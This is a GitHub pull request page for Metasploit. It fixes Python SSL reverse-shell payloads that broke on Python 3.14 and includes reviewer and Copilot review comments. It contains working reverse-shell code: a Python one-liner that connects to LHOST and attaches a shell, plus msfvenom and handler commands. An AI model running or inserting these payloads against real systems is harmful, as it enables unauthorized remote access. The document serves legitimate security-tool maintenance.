Skip to content

Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303

Open
jeanmtr wants to merge 1 commit into
rapid7:masterfrom
jeanmtr:test-fix-ssl
Open

Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it #21303
jeanmtr wants to merge 1 commit into
rapid7:masterfrom
jeanmtr:test-fix-ssl

Conversation

@jeanmtr
Copy link
Copy Markdown
Contributor

@jeanmtr jeanmtr commented Apr 15, 2026

Fixes #21301

Changes python/meterpreter/reverse_tcp_ssl, cmd/unix/reverse_python_ssl and python/shell_reverse_tcp_ssl to use SSLContext.wrap_socket() instead of ssl.wrap_socket(). However since the protocols that can be used in version 3.14 and 2.7.18 are not the same, i cannot use ssl.PROTOCOL_TLS_CLIENT for both. Instead, we check if ssl.PROTOCOL_TLS_CLIENT exists and if not, we use ssl.wrap_socket the old way. There is probably a better solution but i cannot find it. One other thing that could work is to use ssl.PROTOCOL_TLSv1_2 which existe both on 2.7.18 and on 3.14 (and in version in between) but it is marked as deprecated therefore it is not really future proof.

Verification

For cmd/unix/reverse_python_ssl

  • Generate ssl key and cert
  • Run openssl s_server -accept 4444 -cert server.crt -key server.key -quiet
  • Setup python env to test compatibility with different python versions (pyenv local [version])
  • Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
  • Run the payload
  • Verify if the reverse shell is working
  • Repeat the process with other python versions

For python/shell_reverse_tcp_ssl

  • Generate ssl key and cert
  • Run openssl s_server -accept 4444 -cert server.crt -key server.key -quiet
  • Setup python env to test compatibility with different python versions (pyenv local [version])
  • Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
  • Run python -c "[payload]"
  • Verify if the reverse shell is working
  • Repeat the process with other python versions

For python/meterpreter/reverse_tcp_ssl

(on the host)

  • [] Run msfconsole
  • [] use exploit/multi/handler
  • [] set payload python/meterpreter/reverse_tcp_ssl
  • [] set LHOST your_ip
  • [] set LPORT 4444
  • [] run

(on the attacked machine)

  • Setup python env to test compatibility with different python versions (pyenv local [version])
  • Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
  • Run python -c "[payload]"
  • Verify if the reverse shell is working
  • Repeat the process with other python versions

raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What does the hyphen removal do?

Copy link
Copy Markdown
Contributor Author

@jeanmtr jeanmtr Apr 30, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

tldr : it does not do anything i will put it back

in #21168 i received this comment hinting at the fact that the hyphen might have been unnecessary. After testing, i could not find a use case where it changed anything so i removed it.

I removed it in this PR for consistency but i forgot that my previous pr was merged without those changes due to problems with github (i had to reopen the PR on another account) therefore it is not consistent and i will put it back.

include Msf::Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options(Msf::Opt::stager_retry_options)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason for this? The double colon :: appears to be the standard?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I got this warning when running rubocop on the file : lib/msf/core/payload/python/reverse_tcp_ssl.rb:17:39: C: [Correctable] Style/ColonMethodCall: Do not use :: for method calls. register_advanced_options(Msf::Opt::stager_retry_options) so i applied the autofix, should i revert it to how it was initially ?

@jeanmtr
Copy link
Copy Markdown
Contributor Author

jeanmtr commented Apr 30, 2026

I squashed commits into one because I had issues with git, sorry for the inconvenience.

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates Python-based reverse SSL payload generators to avoid ssl.wrap_socket() (removed in newer Python, e.g., 3.14) by preferring SSLContext.wrap_socket() when available, while aiming to preserve legacy Python compatibility.

Changes:

  • Switch SSL socket creation to SSLContext(PROTOCOL_TLS_CLIENT).wrap_socket() when supported, with a fallback to ssl.wrap_socket() for older Python.
  • Update the Python reverse TCP SSL stager generator to use the new wrapping logic and consistently use the wrapped socket variable.
  • Minor cleanup of the PythonPath invocation spacing in reverse_python.

Impact Analysis:

  • Blast radius: medium; affects multiple shipped payloads/stagers that generate Python reverse SSL connections (directly impacts users generating these payloads and handlers receiving them).
  • Data and contract effects: no schema/payload-contract changes identified beyond runtime behavior of TLS socket setup and connection establishment.
  • Rollback and test focus: rollback is straightforward (revert payload generator changes); focus testing on session establishment across Python 2.7.x, older 3.x, and 3.14+, ensuring only a single outbound connection is made and TLS negotiation succeeds.

Reviewed changes

Copilot reviewed 3 out of 4 changed files in this pull request and generated 1 comment.

File Description
modules/payloads/singles/python/shell_reverse_tcp_ssl.rb Updates Python SSL wrapping logic for the single reverse SSL shell payload.
modules/payloads/singles/cmd/unix/reverse_python.rb Fixes spacing in PythonPath invocation for the non-SSL reverse Python cmd payload.
modules/payloads/singles/cmd/unix/reverse_python_ssl.rb Updates cmd payload’s embedded Python to use SSLContext.wrap_socket() when available.
lib/msf/core/payload/python/reverse_tcp_ssl.rb Updates the Python reverse TCP SSL stager generator to use SSLContext.wrap_socket() when available.

Comment on lines 49 to +53
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so=ssl.wrap_socket(so)
import socket,subprocess,os,ssl
so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
@smcintyre-r7 smcintyre-r7 self-assigned this May 6, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

cmd/unix/reverse_python_ssl Fails on Python 3.14

4 participants